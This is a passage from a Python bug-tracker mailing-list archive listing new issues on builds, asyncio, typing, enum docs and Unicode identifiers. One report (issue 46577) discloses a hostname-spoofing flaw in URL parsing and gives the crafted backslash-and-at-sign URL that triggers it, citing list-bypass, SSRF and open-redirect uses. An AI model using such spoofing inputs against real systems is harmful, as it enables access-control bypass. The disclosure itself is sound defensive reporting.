{'\x00': r'\u0000', '\x01': r'\u0001', '\x02': r'\u0002',... HAS_UTF8 = re.compile(b'[\x80-\xff]') INFINITY = inf i = 31 ``` 4. We also have to exclude them sometimes in tests, like https://github.com/python/cpython/blob/db77bcd6092f3c174ae855522411ab83854d65a8/Lib/test/test_inspect.py#L111 I think that adding `del X` somewhere in these modules is a good thing: 1. Not hard to backport 2. Fixes multiple issues above 3. Does not store useless objects in memory 4. Does not confuse people 5. Some modules already delete unused intermediate vars, so it is not something new to CPython, for example: `multiprocessing.process` https://github.com/python/cpython/blob/db77bcd6092f3c174ae855522411ab83854d65a8/Lib/multiprocessing/process.py#L419 PR is on its way! ---------- components: Library (Lib) messages: 412006 nosy: sobolevn priority: normal severity: normal status: open title: Multiple modules leak `for` loop variables into module's namespace type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:52:59 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:52:59 +0000 Subject: [New-bugs-announce] [issue46566] Support -3.11-arm64 in py.exe launcher Message-ID: <1643388779.11.0.426548045355.issue46566@roundup.psfhosted.org> New submission from Steve Dower : We now have a traditional installer that runs on Windows ARM64 devices, but it omits the py.exe launcher. This is because sys.winver is "3.11-arm64" and hence the registry tag (see PEP 514) is not detected by the launcher. Currently, the launcher is not included in the installer and appears as disabled with an explanatory note. We need to add support for it eventually, and possibly block the final/RC/beta releases if we don't have it. (We don't ship the launcher with Nuget or Store packages, so nobody will miss it there, but they probably will here.) 32-bit apps can still run on ARM64, so it isn't essential to make it a native process. It just has to be able to detect the registry keys. It should still support 32-bit and 64-bit installs, because those can also be run on ARM64 devices (though there are numerous things that don't work as well as a native build). Possibly we want to just do the work to directly follow PEP 514 now? Depends on who volunteers to work on this, I guess. ---------- components: Windows messages: 412008 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Support -3.11-arm64 in py.exe launcher type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 28 11:55:41 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 28 Jan 2022 16:55:41 +0000 Subject: [New-bugs-announce] [issue46567] Add Tcl/Tk builds for ARM64 Message-ID: <1643388941.84.0.746346851464.issue46567@roundup.psfhosted.org> New submission from Steve Dower : Currently our ARM64 installs omit Tcl/Tk (and implicitly tkinter and IDLE) because there appears to be no upstream support for building Tcl/Tk for ARM64. Once the upstream support exists, or we have a good enough patch to apply to our own copy of the sources, we need to add these back. ---------- components: Tkinter, Windows messages: 412011 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: needs patch status: open title: Add Tcl/Tk builds for ARM64 type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 03:45:57 2022 From: report at bugs.python.org (bluecarrot) Date: Sat, 29 Jan 2022 08:45:57 +0000 Subject: [New-bugs-announce] [issue46568] non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning Message-ID: <1643445957.83.0.70442221241.issue46568@roundup.psfhosted.org> New submission from bluecarrot : I am unittesting a tcp proxy module using coroutines. This is the coroutine I am using to do the forwarding, allowing the writer stream to drain while the rest of the coroutines are proceeding: async def forward_stream(reader: StreamReader, writer: StreamWriter, event: asyncio.Event, source: str): writer_drain = writer.drain() while not event.is_set(): try: data = await asyncio.wait_for(reader.read(1024), 1) except asyncio.TimeoutError: continue if not data: event.set() break # parse the data if reading := parse(data): # wait for the previous write to finish, and forward the data to the other end, process the data in between await writer_drain writer.write(data) writer_drain = writer.drain() # wait for any outstanding write buffer to be flushed await writer_drain logger.info("{} reader forwarder finished.".format(source)) In my unit tests, I have the following (EnergyAgentProxy is the wrapper calling the coroutine in the module that creates the proxy) class TestConnections(IsolatedAsyncioTestCase): async def asyncSetUp(self) -> None: self.proxy = asyncio.create_task(EnergyAgentProxy(self.proxy_port, self.server_port, self.upstream_port)) The problem is: When running these tests, I am getting the following error: /usr/lib/python3.10/unittest/async_case.py:159: RuntimeWarning: coroutine 'StreamWriter.drain' was never awaited Coroutine created at (most recent call last) File "/usr/lib/python3.10/unittest/case.py", line 650, in __call__ return self.run(*args, **kwds) [...] File "/home/frubio/Documents/powermonitor_raspberrypi/EnergyAgent.py", line 48, in forward_stream writer_drain = writer.drain() self._tearDownAsyncioLoop() So... to me, it looks like when the tasks are being cancelled I am getting this warning because the last "await writer_drain" in forward stream is not executed, but I cannot ensure that. Am I doing something wrong? Is there any way I can just prevent this warning from showing up in my tests? ---------- components: Tests, asyncio messages: 412060 nosy: asvetlov, bluecarrot, yselivanov priority: normal severity: normal status: open title: non awaited coroutines on a IsolatedAsyncioTestCase results on a RuntimeWarning type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 05:00:29 2022 From: report at bugs.python.org (Dutcho) Date: Sat, 29 Jan 2022 10:00:29 +0000 Subject: [New-bugs-announce] [issue46569] final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ Message-ID: <1643450429.02.0.752906644712.issue46569@roundup.psfhosted.org> New submission from Dutcho : https://docs.python.org/3.11/library/enum.html#enum.StrEnum contains: Note __str__() is str.__str__() to better support the replacement of existing constants use-case. __format__() is likewise int.__format__() for that same reason. This should be (change indicated by triple star): Note __str__() is str.__str__() to better support the replacement of existing constants use-case. __format__() is likewise ***str***.__format__() for that same reason. Likely copied from IntEnum ---------- assignee: docs at python components: Documentation messages: 412067 nosy: Dutcho, docs at python priority: normal severity: normal status: open title: final note on StrEnum documentation incorrectly refers to int.__format__ instead of str.__format__ versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 08:35:11 2022 From: report at bugs.python.org (Jay Lee) Date: Sat, 29 Jan 2022 13:35:11 +0000 Subject: [New-bugs-announce] [issue46570] Windows support for OpenSSL 3.0 Message-ID: <1643463311.66.0.905342043937.issue46570@roundup.psfhosted.org> New submission from Jay Lee : Steps to reproduce: 1) Compile OpenSSL 3.0 on Windows. 2) use get_externals.bat to download Python external requirements on Windows. 3) Overwrite OpenSSL 1.1.1m in externals with your OpenSSL 3.0 build. Expected behavior: Python will build against OpenSSL 3.0 Actual behavior: Build fails with missing DLLs. Further information: - For OpenSSL 3.0 builds, the first suffix for libcrypto and libssl is -3, not -1_1. - For x86_64 builds, there's also an -x64 suffix to distinguish from x86 builds. I have a openssl.props modified file at: https://github.com/GAM-team/actions-hello-world/blob/master/openssl.props which I've overwritten the existing: https://github.com/python/cpython/blob/main/PCbuild/openssl.props#L13 file with and then succesfully compiled against OpenSSL 3.0. However I'm not certain if or where the logic should exist to detect OpenSSL 3.0 DLLs instead of 1.1. ---------- assignee: christian.heimes components: Build, SSL messages: 412072 nosy: christian.heimes, jay0lee priority: normal severity: normal status: open title: Windows support for OpenSSL 3.0 type: compile error versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 09:12:02 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sat, 29 Jan 2022 14:12:02 +0000 Subject: [New-bugs-announce] [issue46571] Strange `@typing.no_type_check` behavior for class variables Message-ID: <1643465522.51.0.205719891345.issue46571@roundup.psfhosted.org> New submission from Nikita Sobolev : I was working on improving coverage and test quality of `typing.py`, when I saw that `@no_type_check` is quite strange. Let's dive into this! ## Everything is correct We will start with a basic example, that illustrates that everything works fine: ``` from typing import no_type_check, get_type_hints class A: x: int = 1 class B: y: str = 'a' print(get_type_hints(A)) # ok: {'x': } print(get_type_hints(B)) # ok: {'y': } ``` Ok, let's move on. ## Adding `@no_type_check` Now, adding `@no_type_check` to `B` will make the result of `get_type_hints()` call on it - an empty `dict`: ``` from typing import no_type_check, get_type_hints class A: x: int = 1 @no_type_check class B: y: str = 'a' print(get_type_hints(A)) # ok: {'x': } print(get_type_hints(B)) # ok: {} ``` This is still ok. ## Broken? And now we can add some class-level constant to `B`, like `delegate` to show how it breaks `A`: ``` from typing import no_type_check, get_type_hints class A: x: int = 1 @no_type_check class B: y: str = 'a' delegate = A # adding this line will make `A` to have `__no_type_check__` as well print(get_type_hints(A)) # {}, wait, what? print(get_type_hints(B)) # {}, ok ``` Why is that important? It introduces an unfortunate side-effect that can make some totally unrelated (!) class completely ignore `get_type_hints()` and break things like `pydantic`, `beartype`, `attrs, etc that rely on type hints. By adding a class-level assignment to a class that has `@no_type_check` or other `no_type_check_decorator`. Why does this happen? It happens because `no_type_check` has this logic: ``` if isinstance(arg, type): arg_attrs = arg.__dict__.copy() for attr, val in arg.__dict__.items(): if val in arg.__bases__ + (arg,): arg_attrs.pop(attr) for obj in arg_attrs.values(): if isinstance(obj, types.FunctionType): obj.__no_type_check__ = True if isinstance(obj, type): no_type_check(obj) ``` Source: https://github.com/python/cpython/blob/8b1b27f1939cc4060531d198fdb09242f247ca7c/Lib/typing.py#L1952-L1975 As you can see above, we traverse all `__dict__` values of the given `class` and for some reason recurse into all nested types. I think that the original goal was to handle cases like: ``` @no_type_check class Outer: class Inner: ... ``` And now it also affects regular assignments. So, what can we do? 0. Nothing, it works correctly (I disagree) 1. Do not cover nested classes at all with `@no_type_check`, only cover methods 2. Only cover types that are **defined** in this class, like my `Inner` class example 3. Something else? I think that `(2)` is more inline with the currect implementation, so my vote is for it. I would like to implement this when we will have the final agreement :) ---------- components: Library (Lib) messages: 412073 nosy: AlexWaygood, Jelle Zijlstra, gvanrossum, kj, sobolevn priority: normal severity: normal status: open title: Strange `@typing.no_type_check` behavior for class variables versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 12:06:08 2022 From: report at bugs.python.org (Diego Argueta) Date: Sat, 29 Jan 2022 17:06:08 +0000 Subject: [New-bugs-announce] [issue46572] Unicode identifiers not necessarily unique Message-ID: <1643475968.35.0.473325174719.issue46572@roundup.psfhosted.org> New submission from Diego Argueta : The way Python 3 handles identifiers containing mathematical characters appears to be broken. I didn't test the entire range of U+1D400 through U+1D59F but I spot-checked them and the bug manifests itself there: Python 3.9.7 (default, Sep 10 2021, 14:59:43) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> foo = 1234567890 >>> bar = 1234567890 >>> foo is bar False >>> ??? = 1234567890 >>> foo is ??? False >>> bar is ??? True >>> ??? = 0 >>> bar 0 This differs from the behavior with other non-ASCII characters. For example, ASCII 'a' and Cyrillic 'a' are properly treated as different identifiers: >>> ? = 987654321 # Cyrillic lowercase 'a', U+0430 >>> a = 123456789 # ASCII 'a' >>> ? # Cyrillic 987654321 >>> a # ASCII 123456789 While a bit of a pathological case, it is a nasty surprise. It's possible this is a symptom of a larger bug in the way identifiers are resolved. This is similar but not identical to https://bugs.python.org/issue46555 Note: I did not find this myself; I give credit to Cooper Stimson (https://github.com/6C1) for finding this bug. I merely reported it. ---------- components: Parser, Unicode messages: 412084 nosy: da, ezio.melotti, lys.nikolaou, pablogsal, vstinner priority: normal severity: normal status: open title: Unicode identifiers not necessarily unique type: behavior versions: Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 13:48:13 2022 From: report at bugs.python.org (Remy Fouquette) Date: Sat, 29 Jan 2022 18:48:13 +0000 Subject: [New-bugs-announce] [issue46573] Python modules such as pyglet or pygame crash Python when tkinter message boxes are opened on MacOS. Message-ID: <1643482093.87.0.31269168021.issue46573@roundup.psfhosted.org> New submission from Remy Fouquette : The same problem doesn't exist on Windows. ---------- components: macOS files: issue.py messages: 412093 nosy: ned.deily, remyrfouquette, ronaldoussoren priority: normal severity: normal status: open title: Python modules such as pyglet or pygame crash Python when tkinter message boxes are opened on MacOS. type: crash versions: Python 3.10 Added file: https://bugs.python.org/file50597/issue.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 14:14:25 2022 From: report at bugs.python.org (Mital Ashok) Date: Sat, 29 Jan 2022 19:14:25 +0000 Subject: [New-bugs-announce] [issue46574] itertools.count should work with non-number types Message-ID: <1643483665.61.0.972027795667.issue46574@roundup.psfhosted.org> New submission from Mital Ashok : There's no reason that `count('', 'a')` for `'', 'a', 'aa', ...` or `count((), (1,))` for `(), (1,), (1, 1), ...` shouldn't work. count(a, b) should be equivalent to accumulate(chain((a,), repeat(b))) The docs don't strongly suggest that it won't work (it says *start* is a number, but the "roughly equivalent to" generator would work for str/tuple/etc) ---------- components: Library (Lib) messages: 412095 nosy: Mital Ashok priority: normal severity: normal status: open title: itertools.count should work with non-number types type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:26:03 2022 From: report at bugs.python.org (Ron Kaminsky) Date: Sat, 29 Jan 2022 20:26:03 +0000 Subject: [New-bugs-announce] [issue46575] One-off errors in hashlib.scrypt error messages Message-ID: <1643487963.78.0.553552664771.issue46575@roundup.psfhosted.org> New submission from Ron Kaminsky : There are one-off errors in upper bounds given in the error messages for hashlib.scrypt(...). MAX_INT *is* accepted (and at least for maxmem, works). See https://github.com/python/cpython/blob/8fb36494501aad5b0c1d34311c9743c60bb9926c/Modules/_hashopenssl.c#L1375 and https://github.com/python/cpython/blob/8fb36494501aad5b0c1d34311c9743c60bb9926c/Modules/_hashopenssl.c#L1382 With thanks to everyone involved for all the fine work on Python! ---------- messages: 412103 nosy: ron_kaminsky priority: normal severity: normal status: open title: One-off errors in hashlib.scrypt error messages type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 15:31:42 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 29 Jan 2022 20:31:42 +0000 Subject: [New-bugs-announce] [issue46576] test_peg_generator is extremely slow Message-ID: <1643488302.33.0.475443222477.issue46576@roundup.psfhosted.org> New submission from Gregory P. Smith : test_peg_generator is an extremely slow test. This bug tracks any changes to reduce its runtime and test latency. ---------- components: Tests messages: 412104 nosy: gregory.p.smith priority: normal severity: normal status: open title: test_peg_generator is extremely slow versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jan 29 19:29:31 2022 From: report at bugs.python.org (Dashmeet Kaur Ajmani) Date: Sun, 30 Jan 2022 00:29:31 +0000 Subject: [New-bugs-announce] [issue46577] Hostname spoofing via backslashes in URL Message-ID: <1643502571.23.0.70657524301.issue46577@roundup.psfhosted.org> New submission from Dashmeet Kaur Ajmani : A URL's hostname can be spoofed by using a backslash (\) character followed by an at (@) character. If the hostname is used in security decisions, the decision may be incorrect. Impact: Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior. Example URL: "http://google.com:80\\@yahoo.com/#what\\is going on" Expected behaviour (as returned by NPM urijs): { "scheme": "http", "user": "", "password": "", "host": "google.com", "port": "", "path": "@yahoo.com/", "query": "", "fragment": "what\\is going on" } Actual behaviour: { "scheme": "http", "user": "google.com", "password": "80\\", "host": "yahoo.com", "port": "", "path": "/", "query": "", "fragment": "what\\is going on" } Expected version is the behavior of other parsers which implement the WHATWG URL specification, including web browsers and Node's built-in URL class. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26291 ---------- components: Library (Lib) messages: 412118 nosy: meetdash priority: normal severity: normal status: open title: Hostname spoofing via backslashes in URL type: security versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 02:22:42 2022 From: report at bugs.python.org (michaellongge) Date: Sun, 30 Jan 2022 07:22:42 +0000 Subject: [New-bugs-announce] [issue46578] cant DEBUG os.spawnv() Message-ID: <1643527362.27.0.337252732186.issue46578@roundup.psfhosted.org> New submission from michaellongge : When i try to execute --link.exe *.obj-- on windows 11, i get one error LIB : fatal error LNK1181: cannot open input file 'Files.obj' It looks like a space path error so i run [os.spawnv(link.exe)] alone try to find out where made this error. But i cant DEBUG os.spawnv() on Pycharm. When the cursor on os.spawnv() line then press [Step Into], cursor jump to ntpath.py (216) it's in "def basename()" not in os.py "def spawnv()" so this issue contain 2 parts 1.space error such as "Program Files (x86)" 2.DEBUG cant jump to right place Here is my salmpe code.I have tried python3.8 and python3.10 both same error ``` import os executable= 'D:\\VS2022\\VC\\Tools\\MSVC\\14.30.30705\\bin\\HostX86\\x64\\link.exe' cmd310 = ["/LIBPATH:D:\\python310\\lib\\site-packages\\torch\\lib", "/LIBPATH:D:\\python310\\libs", "/LIBPATH:D:\\python310\\PCbuild\\amd64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\ATLMFC\\lib\\x64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\lib\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\NETFXSDK\\4.8\\lib\\um\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\lib\\10.0.19041.0\\ucrt\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\lib\\10.0.19041.0\\um\\x64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\lib\\x64", "/LIBPATH:D:\\VS2019\\VC\\Tools\\MSVC\\14.29.30133\\atlmfc\\lib\\x64", "/LIBPATH:D:\\VS2019\\VC\\Auxiliary\\VS\\lib\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\ucrt\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\ucrt_enclave\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\10\\Lib\\10.0.19041.0\\um\\x64", "/LIBPATH:C:\\Program Files (x86)\\Windows Kits\\NETFXSDK\\4.8\\lib\\um\\x64", "/LIBPATH:D:\\python310\\libs", "c10.lib", "torch.lib", "torch_cpu.lib", "torch_python.lib"] rc = os.spawnv(os.P_WAIT, executable, cmd310) ``` ---------- components: Build messages: 412129 nosy: michaellongge priority: normal severity: normal status: open title: cant DEBUG os.spawnv() versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 03:52:22 2022 From: report at bugs.python.org (=?utf-8?b?0JTQuNC70Y/QvSDQn9Cw0LvQsNGD0LfQvtCy?=) Date: Sun, 30 Jan 2022 08:52:22 +0000 Subject: [New-bugs-announce] =?utf-8?q?=5Bissue46579=5D_Compiling_from_so?= =?utf-8?q?urce_prints_=C2=ABModuleNotFoundError=3A_No_module_named_=27bin?= =?utf-8?b?YXNjaWknwrs=?= Message-ID: <1643532742.73.0.172389831963.issue46579@roundup.psfhosted.org> New submission from ????? ???????? : I compile python from source: $ python --version Python 3.10.1+ $ cat /etc/config.site ax_cv_c_float_words_bigendian=no enable_silent_rules=yes $ git describe v3.10.2-74-ga5451c96a1 $ ./configure --enable-loadable-sqlite-extensions --disable-ipv6 --with-system-expat --with-system-libmpdec --enable-shared $ make gcc -c -fPIC -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fvisibility=hidden -I./Include/internal -I. -I./Include -fPIC -DPy_BUILD_CORE -o Modules/_math.o Modules/_math.c LD_LIBRARY_PATH=/git/cpython CC='gcc' LDSHARED='gcc -shared ' OPT='-DNDEBUG -g -fwrapv -O3 -Wall' _TCLTK_INCLUDES='-I/usr/local/include' _TCLTK_LIBS='-L/usr/local/lib -ltk8.6 -ltkstub8.6 -ltcl8.6 -ltclstub8.6' ./python -E ./setup.py build Traceback (most recent call last): File "/git/cpython/./setup.py", line 50, in from distutils.command.install import install File "/usr/local/lib/python3.10/site-packages/setuptools/_distutils/command/install.py", line 20, in from .. import _collections File "/usr/local/lib/python3.10/site-packages/setuptools/__init__.py", line 16, in import setuptools.version File "/usr/local/lib/python3.10/site-packages/setuptools/version.py", line 1, in import pkg_resources File "/usr/local/lib/python3.10/site-packages/pkg_resources/__init__.py", line 23, in import zipfile File "/git/cpython/Lib/zipfile.py", line 6, in import binascii ModuleNotFoundError: No module named 'binascii' make: *** [Makefile:637: sharedmods] Error 1 When I compiled python 3.10 using python 3.8 one or two months ago, there was no such problem. Compiling python from source code, shall use the bundled distutils, not the installed one. My Linux From Scratch system appears not to have module binascii: $ locate binascii /usr/local/lib/python3.10/lib-dynload/binascii.cpython-310-x86_64-linux-gnu.so /usr/local/lib/python3.10/test/__pycache__/test_binascii.cpython-310.opt-1.pyc /usr/local/lib/python3.10/test/__pycache__/test_binascii.cpython-310.opt-2.pyc /usr/local/lib/python3.10/test/__pycache__/test_binascii.cpython-310.pyc /usr/local/lib/python3.10/test/test_binascii.py /usr/local/lib/python3.8/lib-dynload/binascii.cpython-38-x86_64-linux-gnu.so /usr/local/lib/python3.8/site-packages/mypy/typeshed/stdlib/@python2/binascii.pyi /usr/local/lib/python3.8/site-packages/mypy/typeshed/stdlib/binascii.pyi /usr/local/lib/python3.8/test/__pycache__/test_binascii.cpython-38.opt-1.pyc /usr/local/lib/python3.8/test/__pycache__/test_binascii.cpython-38.opt-2.pyc /usr/local/lib/python3.8/test/__pycache__/test_binascii.cpython-38.pyc /usr/local/lib/python3.8/test/test_binascii.py /git/cpython/Modules/binascii.c /git/cpython/Modules/clinic/binascii.c.h /git/cpython/Lib/test/test_binascii.py /git/cpython/Doc/library/binascii.rst ---------- components: Installation messages: 412134 nosy: dilyan.palauzov priority: normal severity: normal status: open title: Compiling from source prints ?ModuleNotFoundError: No module named 'binascii'? type: compile error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 05:42:02 2022 From: report at bugs.python.org (hbandi) Date: Sun, 30 Jan 2022 10:42:02 +0000 Subject: [New-bugs-announce] [issue46580] email.utils.unquote strips too many slashes Message-ID: <1643539322.11.0.428529022673.issue46580@roundup.psfhosted.org> New submission from hbandi : email.utils.unquote currently unescapes all backslashes, then unescapes all double quotes in the resulting string. it may removes too many backslashes. see GH PR for an example. ---------- components: email messages: 412137 nosy: barry, hbandi, r.david.murray priority: normal pull_requests: 29198 severity: normal status: open title: email.utils.unquote strips too many slashes type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 08:20:18 2022 From: report at bugs.python.org (Matt B) Date: Sun, 30 Jan 2022 13:20:18 +0000 Subject: [New-bugs-announce] [issue46581] _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with Message-ID: <1643548818.53.0.117293310302.issue46581@roundup.psfhosted.org> New submission from Matt B : c55ff1b352f8b82184f80d9dea220e832691acfc was submitted to fix #44098 and added the _typevar_types and _paramspec_tvars properties to _GenericAlias. However, those properties continue to be omitted from _GenericAlias.copy_with[1]. Further, typing.py is fairly intricate, which makes it hard to understand if that is the only place those properties are absent. A more careful review/audit may be in order. [1]: https://github.com/python/cpython/blob/8b1b27f1939cc4060531d198fdb09242f247ca7c/Lib/typing.py#L1069-L1070 ---------- components: Library (Lib) messages: 412144 nosy: posita priority: normal severity: normal status: open title: _typevar_types and _paramspec_tvars are missing from _GenericAlias.copy_with versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:18:24 2022 From: report at bugs.python.org (ntrischi) Date: Sun, 30 Jan 2022 14:18:24 +0000 Subject: [New-bugs-announce] [issue46582] Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors Message-ID: <1643552304.88.0.0332252948462.issue46582@roundup.psfhosted.org> New submission from ntrischi : Compiling Python3.8.9 from source on Windows 10 with VS2019. Running PCBuild\build.bat, I'm getting the following issue: C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\um\winnt.h(253): error RC2188: C:\Python-3.8.9\PCbuild\obj\38amd64_Release\pythoncore\RCa09752(53) : fatal error RC1116: RC terminating after preprocessor errors [C:\Python-3.8.9\PCbuild\pythoncore.vcxproj] I noticed this issue (https://bugs.python.org/issue45220) is closed but it doesn't seem to be resolved. ---------- components: Build messages: 412147 nosy: eric.snow, eryksun, lukasz.langa, miss-islington, ntrischi, paul.moore, serhiy.storchaka, sobolevn, steve.dower, tim.golden, vstinner, zach.ware priority: normal severity: normal status: open title: Windows builds fail: fatal error RC1116: RC terminating after preprocessor errors type: compile error versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:38:15 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:38:15 +0000 Subject: [New-bugs-announce] [issue46583] Modernize `selectors.py` by removing unused `sys.version_info` check Message-ID: <1643553495.3.0.869043137908.issue46583@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now `selectors.py` contains this check on module-level: ``` if sys.version_info >= (3, 5): ... ``` Source: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/selectors.py#L53 Learning from other modules, we tend to remove lines like this when some python version reaches EOL. And since 3.4 is not support for a long time now, this condition is always true. I propose to delete it. ---------- components: Library (Lib) messages: 412148 nosy: asvetlov, sobolevn, yselivanov priority: normal severity: normal status: open title: Modernize `selectors.py` by removing unused `sys.version_info` check type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 09:56:00 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 14:56:00 +0000 Subject: [New-bugs-announce] [issue46584] Modernize `ctypes/test_python_api` by removing old version check Message-ID: <1643554560.13.0.0620214587258.issue46584@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now Lib/ctypes/test/test_python_api.py has these lines: ``` if sys.version_info > (2, 4): c_py_ssize_t = c_size_t else: c_py_ssize_t = c_int ``` Source: https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/ctypes/test/test_python_api.py#L13-L16 I think that there's no reason to keep code compat for python versions `<=2.3`. Other modules in CPython do refactor this by removing old and unused code, especially in tests. I propose to do the same here. ---------- components: Tests, ctypes messages: 412154 nosy: amaury.forgeotdarc, belopolsky, meador.inge, sobolevn, zach.ware priority: normal severity: normal status: open title: Modernize `ctypes/test_python_api` by removing old version check type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:03:49 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Sun, 30 Jan 2022 15:03:49 +0000 Subject: [New-bugs-announce] [issue46585] Should we re-export `PyObj_FromPtr` in `ctypes`? Message-ID: <1643555029.82.0.98723415046.issue46585@roundup.psfhosted.org> New submission from Nikita Sobolev : After looking at https://github.com/python/cpython/blame/8fb36494501aad5b0c1d34311c9743c60bb9926c/Lib/ctypes/test/test_python_api.py#L5-L10 in https://bugs.python.org/issue46584 it seems that we should address this comment: ``` # This section should be moved into ctypes\__init__.py, when it's ready. from _ctypes import PyObj_FromPtr ``` by either: 1. Making `PyObj_FromPtr` public by re-exporting it from `ctypes` 2. Removing this comment Arguments for `(1)`: - It is quite widely used and there are a lot of articles mentioning it: https://www.programcreek.com/python/example/77012/_ctypes.PyObj_FromPtr and https://programtalk.com/python-examples/_ctypes.PyObj_FromPtr/ Basically, Google is filled with results. - It looks useful for educational purposes. I don't think that I am familiar with `ctypes`'s history well enough to make an educated dicision here. But, I would love to work on this after this decision is made :) ---------- components: ctypes messages: 412155 nosy: amaury.forgeotdarc, belopolsky, meador.inge, sobolevn, zach.ware priority: normal severity: normal status: open title: Should we re-export `PyObj_FromPtr` in `ctypes`? type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:12:05 2022 From: report at bugs.python.org (Dutcho) Date: Sun, 30 Jan 2022 15:12:05 +0000 Subject: [New-bugs-announce] [issue46586] In documentation contents enum.property erroneously links to built-in property Message-ID: <1643555525.86.0.209520180874.issue46586@roundup.psfhosted.org> New submission from Dutcho : https://docs.python.org/3.11/library/enum.html#module-contents contains: property() Allows Enum members to have attributes without conflicting with member names. In above, property() is links to: https://docs.python.org/3.11/library/functions.html#property instead of to the proper: https://docs.python.org/3.11/library/enum.html#enum.property ---------- assignee: docs at python components: Documentation messages: 412156 nosy: Dutcho, docs at python priority: normal severity: normal status: open title: In documentation contents enum.property erroneously links to built-in property versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 30 10:14:48 2022 From: report at bugs.python.org (Christian Heimes) Date: Sun, 30 Jan 2022 15:14:48 +0000 Subject: [New-bugs-announce] [issue46587] datetime and time tests use non-portal "%4Y" format Message-ID: <1643555688.39.0.0858908096334.issue46587@roundup.psfhosted.org> New submission from Christian Heimes : Several test cases for datetime and time modules use the non-standard and non-portal width prefix for strftime: >>> datetime.date(42, 1, 1).strftime("%4Y") '0042' According to man strftime(3) https://man7.org/linux/man-pages/man3/strftime.3.html the width field is glibc-specific extension: > Glibc provides some extensions for conversion specifications. > (These extensions are not specified in POSIX.1-2001, but a few > other systems provide similar features.) Between the '%' > character and the conversion specifier character, an optional > flag and field width may be specified. The width field is not supported by Emscripten, which only implements POSIX.1-2001 compatible date and time formatting: https://github.com/emscripten-core/emscripten/blob/3.1.2/src/library.js#L735 Python 3.11.0a4+ (heads/main-dirty:b1a3446, Jan 25 2022, 10:19:07) [Clang 14.0.0 (https://github.com/llvm/llvm-project f142c45f1e494f8dbdcc1bcf1412 on emscripten Type "help", "copyright", "credits" or "license" for more information. >>> import datetime >>> datetime.date(42, 